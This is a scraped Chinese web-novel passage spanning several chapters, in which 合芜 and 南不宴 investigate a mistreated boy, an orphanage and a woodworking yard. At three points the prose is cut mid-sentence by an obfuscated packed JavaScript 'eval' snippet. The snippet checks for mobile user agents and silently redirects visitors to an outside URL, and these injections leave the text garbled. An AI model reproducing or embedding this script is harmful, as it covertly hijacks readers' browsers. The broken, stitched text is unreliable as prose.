合芜低着头感到肩上一沉,南不宴现在是在安慰她吗?天呐,他什么时候这么懂得关心人了? 难道说这几日的感化有作用了? 合芜眼珠子一转,小心思爬上心头。 她顺势一歪头,脸颊故意触碰到南不宴的手背,眨巴着眼睛看着他:“真的吗?我真有这么厉害?都堂大人这是在关心我吗?都堂大人明明心软,却偏偏要装的这么高冷。” 南不宴表情一僵,喉结微动,手像是被烫到了似的嗖地一下收回来垂在身侧,指尖有些难以控制地颤抖了一下,不自在地转过身。 “我就是安慰你一下,你别想太多。” 合芜看不见南不宴的表情,但是捕捉到了他耳尖迅速染上的红晕,红彤彤的即使是在昏暗的屋子里也格外明显。 呦,他还会害羞呢,真好玩,合芜不由想。 “我知道啊,刚才就是逗逗都堂大人。”合芜也装作一副不在乎的样子随意道。 “你。”南不宴回身看她,却见合芜已经一脸认真地在石台边观察了起来,话到嘴边只说出来了几个字,“没个正行。” 叩叩叩。 殓房的门被敲响,接着屋门被拉开一条缝,冯原在门口探头探脑,就是不进来。 “合芜,不宴,咱能出来说话吗?”冯原说话的声音有点发抖。 合芜走到门前把门一下子打开,大大咧咧道:“冯大哥,你进来呀,我们都在里面呢,你不会是害怕吧。” 冯原急忙捂住自己的眼睛:“合芜你就别揭我短了,之前是不宴现在又加一个你,你俩就别损我了。” 他是喜欢玄学但不代表他不害怕,怂的时候还是很怂的。 “不是说要去现场看看嘛,咱们什么时候走啊?”冯原往后站了点,才敢将手放下来。 合芜疑惑:“去哪?” “去查看一下每个案子发生的地方说不定能发现点什么。”南不宴走到合芜身边,站在屋门道。 合芜心尖一颤,喜上眉梢:“真的假的!你是说你要开始认真调查这件事情了?” 南不宴看她如此高兴,不知道为什么心里热热的,整个人心情像是也好了起来,总之就是不想看到她皱着眉头的样子,现在开心的样子就比刚才愁眉苦脸的样子顺眼多了。 “对,我们可以在这多待一些时日。” “那你要查的事情怎么办,现在有进展了吗?”合芜关心道。 南不宴沉默:“这个……之后再说。” “哦……”合芜见他像是不想说的样子便也不再问下去。 两人走出殓房,外头的雨已经停了,只剩地上还有点潮湿。屋檐上传来哒哒的声响,声音由远及近,合芜的耳朵已经听见声了,左右张望起来。 谁敢在巡检司里飞檐走壁啊? 南不宴见合芜做出御敌的状态,道:“别紧张,是风影。” 下一秒,风影从屋顶上一跃而下,稳稳站在南不宴面前。 “侯爷,案件地都提前调查过了,目前还有保存痕迹的只有水井边和镇子边的那片河岸。”风影毕恭毕敬道。 “水井边事发当晚我和合芜就已经调查过了,所有的痕迹都已经记录在册,但是昨日只顾着将张家的那个小孩送到济婴堂,没有很仔细地查看那处院子,今日还得去看看。”南不宴果断道。 合芜率先举手表态:“我要去那个院子!” 南不宴看着站在一边等待分配的冯原:“冯原,你和风影去河边,我和合芜去院子。” “啊?!你们又要丢下我,这不厚道啊!”冯原表示拒绝。 合芜笑嘻嘻地跑到南不宴身后站着,探出一个脑袋故意阴测测地对冯原道:“冯大哥,这不是把风影留给你了嘛,你不是胆子小吗,我相信有风影在他肯定能保证你完完整整不缺一块的安全回来的。” 只见冯原闻言一激灵,好像是被说服了。 风影一下子拎起冯原的衣领:“得罪了冯公子。”话不多说,只见冯原一下子被风影的轻功带起来,飞上了屋檐。 “喂,急也不是这个急法吧!”冯原的呼喊声越来越远直到彻底听不见。 合芜笑的直不起腰,那笑容灿烂的像是春日里的春桃,惹人喜爱。 南不宴看着合芜笑的前仰后合的模样,一瞬间有些恍惚,那种熟悉的感觉又一次扑面而来,难以言说。 应该是他的错觉。 * 张家小院的木门虚掩着,推开门时发出“吱呀”一声刺耳的轻响,惊飞了檐下的鸟雀。 南不宴一身玄色锦袍,先一步跨进门,合芜跟进来,昨日倒是没注意,今日才发现这屋子不仅破旧,还有些凌乱,潮气混着屋内陈旧的霉味,扑面而来。 “都堂大人倒是越发细心了。”合芜的声音从南不宴身侧传来,带着几分戏谑。她刻意往前凑了半步,几乎贴在他胳膊上,“怎么,怕这屋里还有危险,要走在我前面?” 感觉今日的南不宴格外好逗,合芜准备趁胜追击一下。 南不宴的背影瞬间僵了一瞬,耳尖又以肉眼可见的速度漫上一层薄红。他侧身避开她的贴近,装腔作势板着脸斥道:“专心调查,少胡闹。” 合芜弯唇偷笑,目光已落在了屋内的陈设上。 这屋子不大,一张帘子将屋子分为两个部份。外屋是饭桌,桌上还摆着两只没洗的粗瓷碗,碗底粘着些许类似粗米的东西,因为没有及时收拾,上面已经有了几只蚂蚁。 “邻里说他们视张宝如亲弟弟。”合芜走到桌边,指尖轻轻点了点桌面,“可是我怎么感觉不太对呢?” “这里为什么只有两个碗,而且昨天我就想说了,这张桌子甚至整间屋子里只有两张椅子,张大一张张小妞一张,那张宝坐哪里?” 南不宴走过来,目光扫过那两只粗瓷碗。 “你看那。”南不宴说着指了指角落一块黑乎乎的东西。 合芜走过去蹲下身:“这是什么?” 角落一块黑乎乎的已经硬化的东西,像是发霉了的窝头,已经开始掉渣了。 桌上粗瓷碗里的粗米虽然简陋,但是与那半块发霉的窝头还是形成了鲜明的对比。 南不宴的脸色沉了下来:“真是满口谎言。” 两人又进了里屋。 里屋摆着一张木床,是张家兄妹睡的,铺着还算干净的被褥。而在床脚的位置,铺着一个破烂的草席,草席上连层薄被都没有,只有一堆揉皱的稻草。 草席旁有一个小小的矮柜,与昨日张宝躲着的那个柜子不一样,特别的小,如果那个大木柜是张家兄妹放衣服被褥的,那这个小柜子应该就是张宝放东西的。 “这里应该就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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合芜赶紧把手伸过去,指头乱晃。 “反过来。” “哦。”合芜意识到受伤的地方在指腹。 合芜的指尖传来一阵湿漉漉的清凉感。她抬眼看他,南不宴正垂着眼,长睫在眼下投出一片浅浅的阴影,耳根红得快要滴血,显然是意识到两人此刻的姿势太过亲密。 被迫营业的少年比少女还容易害羞啊。 “都堂大人。”合芜故意微微倾身,凑近他的耳边,热气拂过他的耳廓,“你这样,倒像是真的疼我。” 南不宴的身体猛地一震,涂药的手顿了一下,几乎是立刻松开了她的手腕,往后退了半步,背过身去:“胡说八道!不过是怕你受伤,耽误调查。” 他的声音有些发紧,耳尖的红却蔓延到了脖颈。 合芜看着他的背影,嘴角的笑容更加明显。她低头看了看指尖的药膏,那一点清凉的药味里,有一股薄荷的清甜,将周围的空气都染的清新了不少。 合芜伸手拿起矮柜里那个破旧的布偶,走到南不宴身边:“都堂大人,你看这个。” 南不宴转过身,强行压下心头那股莫名的感觉,目光落在布偶上。那布偶的衣角处,绣着一个小小的“济”字,针脚歪歪扭扭。 “这是济婴堂的东西。”南不宴接过布偶,指尖摩挲着那个“济”字,“昨日去济婴堂的时候我看到过那里的物品上都有这个标记,这应该是张宝被张家二老领养来时随身的布偶。” 他说着,目光无意间扫过合芜的脸。她正看着布偶,眉眼间没了方才的嬉闹,带着几分认真的意思。少女的发丝软软的,不是很黑,在光线下呈现出深栗色,轻飘飘地垂在脸侧。 南不宴现在才注意到她换了一件之前没有见过的衣服,人间衣裳的制式,是灰蓝色的,像是山涧上的幽兰,清淡神秘。 南不宴的心跳,莫名漏了一拍,他今日到底是怎么了,不应该这样,他有喜欢的人,绝不是面前的这个人。 他连忙移开目光,清了清嗓子:“这布偶和那窝头都是证据。看来张家兄妹苛待张宝绝对不是一日两日了,昨日张宝也一定说了谎,我们现在就去济婴堂,找张宝问清楚。” 合芜一脸愤愤:“这张家兄妹真的是没有人性,真是会演啊,这么多年把镇子上的人都骗过去了,这么小小的一个孩子他们就是这样对待的吗,我说张宝怎么比同龄的孩子要瘦小那么多!” “你以为张宝就是好糊弄的吗?”南不宴反问合芜,“昨日他的表现不出意外也是演的,心思深沉比你要厉害些。” “哎你说的也是。”合芜应着,将布偶塞进他怀里,“那这布偶就麻烦都堂大人拿着了,证据要好好保存哦,我手疼。” 南不宴抱着那个破旧的布偶,莫名滑稽非常,一个穿着这么一本正经的少年,怀里抱着一个布娃娃。 “咔嚓!” “谁!” 南不宴听到窗外传来一声窸窸窣窣的动静,眼神一凛,奔到窗边猛地一下拉开窗户,外头树影晃动着,没有风。 合芜跟到窗边往下看,昨天才下过雨,地上泥泞,窗户外的泥地上有一堆脚印,明显就是有人站在这很久了,在离开的时候踩到了地上的树枝。 有人在监视他们。 19. 嚼食月光的孩子(六) 夜里,雨下得比白日里要急一些,打得屋外的树叶发出沙沙的声响,叫人昏昏欲睡。 屋里的陈设淡雅却不俗,光是一个白釉瓷瓶就价值不菲。 南不宴坐在桌边的椅子上,盯着架子上的那只白釉瓷瓶发着呆,像是在思索着什么。屋子里只有桌上的蜡烛亮着,烛光映照在他的脸上,阴影轮廓更加清晰,本就清冷的人看起来更添了几分肃穆。 一个月左右能出现四起案子,五名死者,济婴镇不大,整个巡检司竟对这件事束手无策,凋敝之处不止在这起大案,还在与人。 济婴镇只有小本买卖,最多算是自给自足,农民农耕种地,商贩行走于各镇各省之间,除此之外便是收取官府俸禄的人,巡检司每年拿着官家固定的俸禄,按理来说不应该会出现大批的穷苦人家,但是济婴镇里有,还不少。 有贪墨,但是贪在哪里。 南不宴有种预感,他要调查的事情与济婴镇发生转变之间或有联系。 这时,有人由轻至重敲了三下房门。 “进。”南不宴道。 风影闪身进来。 自从到了济婴镇之后他就被侯爷派去调查之前那位神秘“先生”的事情了,现在才回来。 但是很遗憾,先前他们找到的,镇子里那位自称知道一些有关于三年前琐事的医师前几日上山采药时不幸失踪。 风影风尘仆仆,冒雨赶来衣角还在滴着水珠:“侯爷。” 南不宴看了风影一眼,风影的表情不算好。 “调查的怎么样了。” “……” “说吧。” “那位医师……” 南不宴像是已经料到事情不会顺利一般,早已经做好了准备。 “失足落下山崖,属下在山崖下找到了他的尸身。” 果然。 不会那么顺利。 “人为吗?”南不宴问。 风影皱着眉头,声音带着叹息:“属下查看过了,没有刀剑致命伤,但是从山崖上跌落全身擦伤很严重,内脏破裂,到底是不是人为,分辨不出来。属下办事不利,还请侯爷责罚!” 说完,风影跪下请罪。 南不宴眸色深沉,对风影道:“有人故意阻拦,不是你的问题。” “侯爷是说……” “不确定。” “那侯爷我们是返程,还是?”风影问道。 南不宴沉思片刻:“不返程,先继续待在这,正好这几日有个案子,要靠巡检司自己察清楚恐怕够呛。” 想到了什么,南不宴的眼神莫名柔和了些:“再者,有人看起来也想察清楚便一起待些时日吧。” 风影听得云里雾里,疑惑道:“侯爷是说合芜姑娘?” 南不宴没有回答,但是已经解开的眉头无疑已经把答案告诉了风影。 风影内心不免有些闷闷,语带酸涩:“侯爷对合芜姑娘也太好了点。” 南不宴闻此言,道:“莫要胡说,我与她有交易在,方便她便是方便自己,我向来一视同仁。” 风影怨道:“侯爷话虽这么说,但明显就是嘴上一套面上一套,侯爷此行来这不就是要查崔姑娘的事吗,现在却为了合芜姑娘在此地逗留,属下就是觉得你对那合芜姑娘不太一样。” “好了。”南不宴有些不自然地打断了风影的嘀咕,面上不显但是心里却有些许触动,“我还要派你去干件事,这几日雨下得多,早些的痕迹已经被冲刷没了,去查查这几起案子的事发地点,看看哪些还能看出点痕迹,明日我们再去探探。” 风影领命,很快便消失在了夜色里。 * “都堂大人,你说张宝明明被他阿哥阿姐虐待得那么惨,为什么还要装成一副胆小怕事的样子?” 从张家小院里出来,往济婴堂走的路上,合芜一直在想这个问题。 南不宴的一步快比合芜的两步大,合芜加紧着步子,努力与南不宴并肩而行,一双杏眼直直地看着他,眼底满是好奇,自带一股灵动。 南不宴侧头看了她一眼,目光在她的眉眼间稍作停留,便迅速移开,语气依旧冷淡,没有半分波澜,仿佛只是在陈述一个无关紧要的事实:“要么是怕惹祸上身,要么是藏着什么秘密,要么,就是有人在背后教他这么做的。” 他的声音低沉悦耳,却带着一股不容置喙的感觉,南不宴不易察觉地放缓了些许脚步,适配合芜的步伐。 合芜歪着头,细细思索着南不宴的话,眉头轻轻蹙起,一副认真思考的模样:“有人授意?会是谁呢?” 南不宴没有立刻回答,只是抬眼望向不远处的济婴堂,青砖黛瓦,院落整洁,门口挂着一块“济婴保孤”的木牌,字迹工整,颜色鲜亮。木牌下方,几个穿着粗布衣裳的孩童正蹲在地上玩耍嬉笑着。 “到了济婴堂,便知道了。” …… 两人走到济婴堂门口,玩耍的孩童们看到南不宴,纷纷停下了手中的动作,怯生生地躲到一旁,叽叽喳喳的。 “都堂大人的这张冷脸要是再不改改,下一步就是把小孩子吓哭了。”合芜悄声调侃。 南不宴一愣,开口后的话语颇有怨气:“不会说话就别说。”语罢,他抬手轻轻叩了叩济婴堂的木门,敲门声沉稳有力。 这人真是莫名其妙,方才在张家小院里还给她低头上药,耳朵红到脖颈,现在就一副万花丛中过,片叶不沾身的模样,真是让她有点搞不懂了,合芜想不通。 这攻略南不宴的点究竟在哪儿,难不成他有什么防沉迷系统吗?对她的好感到点清零不成? 片刻后,木门“吱呀”一声被打开,一个穿着灰色粗布衣裳的人从门后走了出来。 他看到南不宴,先是一愣,随即立刻反应过来,连忙躬身行礼,神色恭敬,语气里带着几分不易察觉的慌乱:“鄙人李济是济婴堂的管事,不知御史大人驾临,有失远迎,还望大人恕罪!” “不必多礼。”南不宴抬手示意他起身,目光则是锐利地扫过他的脸,“我今日前来,是为了昨日送来的那个孩子,张宝。” 李管事缓缓起身,声音有些干涩:“回大人,张宝昨日送来后,一直很安静,只是不肯说话,我已经让人给他准备了吃食和衣物,也派人陪着他,只是他性子孤僻,始终不愿与人交流。” 合芜站在南不宴身边,双手背在身后,微微踮起脚尖,好奇地打量着李管事。 这人看起来很紧张的样子啊。 “带我们去见他。”南不宴没有再多废话,直截了当道。 “是是,大人请跟我来。”李管事不敢有半分耽搁,连忙点了点头,转身领着两人走进济婴堂。 济婴堂的院落很大,分为前院和后院,前院摆放着几张石桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232842|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石凳,几个孩童正坐在石桌旁读书写字,有老仆在一旁照料,后院则是孩童们的住处和杂物间,环境相对安静。 一路上,李管事走在最前方,脚步有些急促,时不时地偷偷回头看一眼南不宴和合芜。 南不宴和合芜跟在他身后,一边走,一边不动声色地打量着济婴堂的环境。 这座济婴堂看起来确实不错,房屋整齐,门窗都是锃亮的,院内种着几棵常青树,枝叶繁茂,在地上洒下一片阴凉。 合芜微微皱了皱眉头,下意识地吸吸鼻子。她身为地府一颗闪耀的新星还是有点本事的,当然不仅仅是捣乱的本事。 合芜五感破碎,首先没有味觉,其次触觉不全,对温度没有感知,但是她嗅觉灵敏啊,对各种气息都极为敏感,这对她爱收集花草的爱好也是极有帮助。 但是她的嗅觉不仅局限在闻物上,她对曾经有过的气息也能闻出一点门道。 济婴堂里有丝焦糊味,不像是寻常柴火燃烧的味道。只是合芜并没有把这放在心上,毕竟,济婴堂平日里需要烧火做饭取暖,有焦糊味也实属正常。 “大人,张宝就在里面。”李管事停下脚步,指了指前方一间小屋,“我就在门外等候,大人有什么吩咐,随时叫我。”说完,他便往后退了几步,站在了门口不远处。 小屋很小,陈设简单,只有一张木板床、一张小小的木桌和一把椅子,墙壁是新刷的,雪白干净。张宝正坐在木板床上,背对着门口,双手抱膝,脑袋靠在膝盖上,一动不动,看起来依旧一副胆小无助,孤孤单单的模样。 听到开门声,张宝的身体微微僵了一下,眼神一变,却没有回头,依旧保持着原来的姿势,仿佛没有察觉到有人进来一般。 合芜和南不宴走进小屋,轻轻带上了门,屋内很安静,只能听到张宝微弱的呼吸声,还有窗外传来的孩童们的欢声笑语,形成了鲜明的对比。 南不宴走到木桌旁,拉过椅子坐下,平静地开口:“张宝,抬起头来,我有话问你。” 合芜一听他这语气就知不妙,一拍脑门,朝着南不宴做口型:温柔点。 张宝回过身,身体微微颤着,又回到了昨日在小院里的模样,瑟瑟发抖,一副受了极大惊吓的样子。 “你以为你装成这个样子,我……哥哥姐姐就看不出你在撒谎吗?”南不宴有些别扭地改着说话的语气,“你阿哥阿姐虐待你,对你动辄打骂,不给你吃饭,这些,哥哥姐姐都已经知道了。你不必再装成一副胆小的样子,告诉我们,你是不是知道些什么?” 话音落下,小屋内陷入了一片死寂,过了许久,张宝才缓缓抬起头,脸上还挂着未干的泪痕,眼睛红红的,看起来依旧一副委屈巴巴的模样,眼神里满是恐惧,仿佛被南不宴的话吓到了一般。 “我,我没有撒谎……”张宝带着几分哽咽,“阿哥阿姐确实虐待我,他们打我、骂我、不给我吃饭,我很害怕,我不敢说话,我只能装成胆小的样子,不然,他们会打得更狠的……” 他一边说,一边轻轻抹着眼泪,模样看起来极为可怜,若是换做寻常人,恐怕早已心生怜悯,不再追问。 合芜看着他可怜兮兮的模样,眼底闪过一丝动容,下意识地想上前安慰,却被南不宴一把拉住了手腕。 南不宴的手指修长而有力,握住她的手腕,带着一股不容拒绝的力量,阻止了她的动作。 20. 嚼食月光的孩子(七) 合芜微微一怔,转头看向南不宴,眼底满是疑惑。 南不宴没有看她,目光依旧锐利地盯着张宝的脸庞,指尖微微动了动。合芜觉得握住她手腕的力度又轻轻加重了几分。 合芜虽然懵懂,却也明白了南不宴的意思,此时她若是给了张宝一个躲避的机会,那想要再得到真相就难了。 她乖乖地站在原地,没有再说话,合芜能感觉到南不宴的手掌握住她的手腕,传来一阵淡淡的暖意,这种暖意,和那日在左都御史府长公主面前,他握住她手的那次一样,烫烫的,合芜没有挣脱,任由他握着。 张宝虽然脸上挂着泪痕,声音哽咽,但眼底深处,却没有半分真正的恐惧与委屈,反而有一丝不易察觉的不屑,仿佛在嘲笑他们,嘲笑他们竟然这么容易就又被自己骗到了。 “是吗?”南不宴嘴角勾起一抹极淡的弧度,像是讽刺又像是惋惜,“那我问你,张大和张小妞还在的时候,你装作胆小怕事的样子还情有可原,可如今他们都已经不在了,没有任何人可以再摆布你伤害你,那你为何还要继续装下去?” 听到南不宴的话,张宝的身体明显僵了一下,脸上的表情微微一滞,眼底的不屑瞬间被一丝慌乱所取代,只是这份慌乱,一闪而过,很快就被他掩饰了过去。 他低下头,避开南不宴的目光,手指紧紧攥着衣角,不知所措:“我,我不知道……可能是习惯了……” 毕竟年纪还小,在南不宴的威压面前慌乱了阵脚,张宝的回答变得有些语无伦次,不再像之前那样条理清晰,显然是被问住了。 合芜站在南不宴身边,能清晰地感觉到,张宝的气息变得有些慌乱。 南不宴心中已然明了,他没有再继续追问,缓缓站起身。 “你既然不肯说,那我们也不逼你。只是,你要记住,纸终究包不住火,你藏在心里的秘密,总有一天会被揭穿的。到那时,你就算再装成胆小怕事的样子,也无济于事了。” 说完,他拉着合芜的手腕,转身朝着小屋门口走去。 “哦对了。”南不宴在门前停下脚步,从怀中取出之前放起来的那个布偶,转身看向张宝,“这是你的东西吧,放在一个矮柜里的。你之前应该是找人到院子里去拿过,没找到吧,因为被我们先拿走了,诺,还给你。” 南不宴将布偶扔给张宝,随后转身拉住合芜的手将人带出了屋子,关上门,一系列动作行云流水。 合芜被他拉着出了屋门,听到身后门关上了,才道:“南不宴,张宝刚刚明明就是在撒谎,为什么不直接继续追问呢?说不定我们再问问就能从他嘴里问出线索了呢?” 南不宴松开抓着合芜的手,道:“他已经暴露出自己是在撒谎,这就够了。方才他既然刻意伪装,不肯说实话,就算我们再追问下去,也问不出什么结果,反而会打草惊蛇。” “那你把那个布偶现在就还给他了?不留下来做个威逼利诱的把柄什么的?” “不用。” “这又是为什么,就这么便宜他了?”合芜好奇。 南不宴见她想知道便也不藏着掖着,直说道:“本来我还不确定,但是刚才我把那个布偶扔给张宝的时候刻意注意了一下他的表情,这回我确定了。” “什么呀?” “张宝看起来很珍视那个布偶,如果我没有猜错的话,之前偷偷在张家小屋窗外监视我们的那个人就是张宝叫来的。” “你是说背后在帮张宝的人就是去过张家小院的那个人,他是去帮张宝拿那个布偶的。”合芜自己琢磨着,“你不直接问张宝关于他背后之人的线索是因为他们本就是一伙,你料定张宝不会告诉我们,即使直言相告,线索也极有可能是假的。” 南不宴听着合芜的分析,面带赞赏:“有点进步。” “那是!也不看看我是谁!”合芜骄傲。 “不过,那现在线索不还是断了吗?”合芜看向南不宴。 南不宴摇摇头:“如今这么紧张的时候,张宝都要叫人去把他的那个布偶拿回,可见这布偶意义非凡,那是他儿时在济婴堂的东西,那个人如此值得他信任,想必也和济婴堂有关,说不定,他们之前就认识。” 现在知道了背后那人与济婴堂有关,那便又多了几个可以找到那人的方法。 合芜一拍手,茅塞顿开,兴奋道:“那这不就容易了,随便找个济婴堂的老人,一问便知!” 合芜掰起手指想着可以询问的人。 南不宴看她那样子,嘴角上扬,短促地轻叹口气,抬手展开手掌包住合芜的手,将她的手按下。 “不用那么麻烦。”他道,向着后院门口处守着的李管事扬了扬下巴,“那不就是现成的。” 李管事一直就在后院门口守着,看到两人走出来,立刻迎了上去,神色依旧紧张,语气里带着几分试探:“大人怎么样?张宝他……他有没有说什么?” 南不宴淡淡开口:“没什么,他性子胆小,受了惊吓,不肯说话,还需要好好安抚。” 听到南不宴这话,李管事松了一口气,脸上的紧张消散了不少,语气也变得轻松了一些:“那就好,那就好,请大人放心,我们一定会好好安抚他,让他早日放下心结,愿意与人交流,若是大人没有什么事,我就先退下了。” 李管事说完就转身想走。 合芜闪身窜到后院门口,啪的一下把手摁在门框上,拦住李管事的路,一脸坏笑地看着他。 “姑……姑娘这是何意?”李管事不解。 “李管事。”南不宴信步闲庭地背着手,走到合芜身边,看着李管事,“我还有一个问题,不知道李管事是否可以解答?” 南不宴的语气清淡,却有种让人被压住喘不过气来的感觉。 李管事声音不自觉地有些发颤:“大人的问题,下……下官自然是知无不言,言无不尽。” 合芜代替南不宴抢先开口:“张宝是什么时候从济婴堂被张家人领养走的?” “下官记得是三年前。”李管事道。 “那你可知三年前张家人为何要领养张宝,按理来说他们张家不应该已经有张大和张小妞一儿一女了吗,本就不是什么富裕人家,为何还要领养一个没有血缘关系的孩子?”合芜追问。 合芜见李管事额上冒出了些细汗,攥着袖口的手有些局促地擦了擦已经流到下巴的汗珠,随后才道:“这已经是三年前的事了,下官……下官也记不太清了。” 南不宴道:“那我们换个问题,张宝在离开济婴堂之前有没有什么要好的朋友或者信任的人。” 李管事松了口气:“张宝三年前只是个五岁的孩子,若说有什么熟悉之人的话,应该就只有一个大点的孩子,好像是叫……叫什么来着。” 李管事想了想,毕竟已经是三年前的事情,还是需要思考一下才能想得起来。 他沉默片刻,突然想到:“对,阿福!就是阿福!三年前济婴堂里的人手还比较少,阿福是当时济婴堂里年纪比较大的孩子,孩子多到管不过来的时候,他就会带着一群孩子一起玩,也算是当时的小老大,张宝当年话就少,朋友不多,阿福便多照顾着他一些,要说谁与张宝最熟,下官也是只能想到他了。” 合芜与南不宴对视一眼,如果不出意外,那个阿福很有可能就是那个在院子外面偷窥的人。 “那李管事,你口中的这个阿福现在在何处?”合芜急切问道。 这回李管事回答得很快:“阿福可是我们镇子上有名的木工,在济婴堂的时候他手艺就很不错,现在就在镇子上的福瑞木庄上干木工活。” 阿福还在济婴堂的时候经常会给孩子们做些木头弹弓、机械木鸟什么的,因此李管事对他的印象还比较深刻。 “福瑞木庄。”南不宴将这个名字在脑海里过了一下,济婴镇不大,镇子里大部分的店铺分布他都已经摸清楚了,但是福瑞木庄这名字他好似没有听到过。 “哦对。”李管事解释道,“我们济婴镇不大,做木工的活计尘屑多,噪音大,就一起搬到了镇子外头,福瑞木庄不在镇子里,在镇子外西南边的郊外地上。” 原来如此。 “多谢了。”南不宴谢过李管事,合芜学着南不宴的样子也有模有样地谢过李管事。 两人告别济婴堂之后,便赶往了福瑞木庄。 福瑞木庄很大,出了镇子往西南边走过一段路就可以看见一大片屋子。 镇子上不管是平日里用到的木头家具、玩具又或者是厚重的棺木,都是在这木庄子里生产。 日头西斜,最后一缕残阳在远处的山际渐渐消失,风卷着路边的枯草,发出“沙沙”的声响。 南不宴勒住缰绳,衣袍被晚风拂动,合芜坐在他身前。 “南不宴,前面就是福瑞木庄了。”合芜道,伸手指了指前方不远处的院落。 木庄围着一人高的木栅栏,栅栏上爬满了枯黑的藤蔓,叶片早已落尽,只剩下扭曲的枝干,木庄的大门虚掩着,没有挂锁。 两人下了马,将马拴在木庄外,刚走近木庄,就见一群穿着粗布衣的人,说说笑笑地从木庄里走出来,个个脸上都透着疲惫。 他们大多是镇上的人,平日里在木庄做工,黄昏时分便结伴回家,来福瑞木庄的除了工匠就是商人,不会有锦衣玉食的贵人来这里,因此工匠们见到南不宴和合芜这般衣着华贵的人时皆是一愣,下意识地停下了脚步,眼神里带着几分好奇。 南不宴上前一步,礼貌问道:“诸位,劳烦问一句,你们这里,可有一个叫阿福的工匠?” 工匠们面面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291123|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相觑了片刻,其中一个留着络腮胡的中年汉子上前一步,躬身道:“回这位公子的话,我们庄里确实有个叫阿福的。这小子年纪不大,却手艺极好,尤其是做棺木,那手艺在整个济婴镇都是数一数二的,我们庄里的棺木行,大半活儿都是他做的。” “他此刻在何处?你们已经下工了吗?那阿福现在还在木庄里吗?”合芜开口问了一连串的问题。 络腮胡摆了摆手,笑道:“姑娘放心,阿福这孩子老实,不偷懒,也不喜欢热闹,平日里就住在庄里,没什么事不会出去。你们顺着大门进去,一直往里面走,穿过前面的木料场,最里面那排黑瓦屋子,就是棺木行,阿福大概率就在那里忙活呢,你们自己进去找就行,他现在估计还在做活计。” 说完,络腮胡便挥了挥手,和其他工匠一起离开,只留下南不宴和合芜两人。 两人推开虚掩的大门,入目便是一片宽敞的木料场,地上堆满了长短不一的木料,有的木料已经是半成品,还有一些仍旧整整齐齐地垒在角落。 天色越来越暗,两人踩着地上的木屑,一步步往前走,脚步声在寂静的木庄里,咯吱咯吱的显得格外清晰。 走了不到半柱香的时间,便穿过了木料场,就如络腮胡说的那般,眼前出现了一排黑瓦屋子,最中间的一间屋子,门虚掩着,里面透出微弱的烛光,摇曳不定。 合芜二人走到那间屋子门口,屋门边摆着一块大大的木牌,上头清清楚楚刻着三个字“棺木行”。 “阿福?” 合芜停下脚步,对着屋子里试探着喊了一声,但是她的声音像是被这间黑屋子吞下去似的,没有得到任何回应。 “这地方不是做棺材的吗,又不是坟地,怎么也这么阴森森的?”合芜打了个寒颤。 南不宴没有说话,只是握住腰间的长剑,轻轻推开了棺木行的门。 屋子的内部比想象中更大,墙边整齐地摆放着许多棺木,有的棺木已经上了漆,漆黑发亮,有的还是原木色,只是刻好了花纹,在微弱的烛光下,这些棺木像是一个个沉默的黑影,静静地矗立在那里,透着说不出的压抑。 烛光来自屋子中央的一张桌子,桌子上放着一盏油灯,灯芯跳跃着,将整个屋子映照得忽明忽暗,合芜和南不宴的影子映在墙上,歪歪扭扭的。 “哎你还真别说,这手艺确实好。”合芜被屋子中央那一口棺材吸引住了目光,弯下腰仔细打量着上头刻着的花纹,纹样精细,四神纹栩栩如生,通体刷着朱漆,即使屋内光线不亮,也可以看出那鲜红发沉的色彩。 合芜伸手轻触棺椁,指尖湿湿凉凉的,朱漆还没有全干,粘在手上就如同鲜血一般。 “别乱碰。”南不宴见合芜这里看看那里摸摸,温声提醒道。 不说还好,一说合芜就来劲了:“都堂大人你不会是害怕吧?没事,我保护你!” 合芜拍拍胸脯。 南不宴见她笑容灿烂洋溢,眼里闪烁着盈盈光亮,一副顶天立地,天不怕地不怕的样子,一时间竟然看入神了。 突然。 “咔。” 一小声细微的声响。 合芜一个激灵,刷的一下抓住南不宴的手臂,刚才气势十足的样子全无,俨然一副缩头缩尾的鹌鹑样。 “怎么?不是说你保护我,怎么现在怕成这样?”南不宴被逗笑,面上却不显。 合芜不理睬他的调侃:“你听见没有?” “什么?” “就刚才那个怪声啊?你没听见?” 屋子里静得可怕,只能听到油灯“噼啪”的燃烧声,还有两人的呼吸声,除此之外,没有任何其他的声音。 “合姑娘都怕到幻听了?”南不宴低头看着死乞白赖拽紧他的合芜。 “胡说!我才不会怕!”合芜嘴硬,誓不承认。 “咔!” “你这回听见了吧!”合芜赶紧道。 是从刚才合芜看过的那口朱红棺椁里传出来的声音。 “那里的动静。”南不宴表情认真起来,低声对合芜说,握紧长剑,缓缓朝着那具棺椁走去。 合芜紧随其后,眼神紧紧锁定那具棺椁。 棺椁里不断传出敲打的细碎声响,这种不知道是人是鬼,未知的感觉才是最恐怖的。 合芜不怕已死的魂魄,但是她怕诈尸的鬼。 她扒拉在南不宴身后,只敢越过南不宴的肩头看那个棺椁。 就在两人快要走到棺椁面前时,突然,油灯“噼啪”一声,灯芯猛地跳动了一下,屋子里的光线瞬间变暗,紧接着棺椁里的敲击声越来越响。 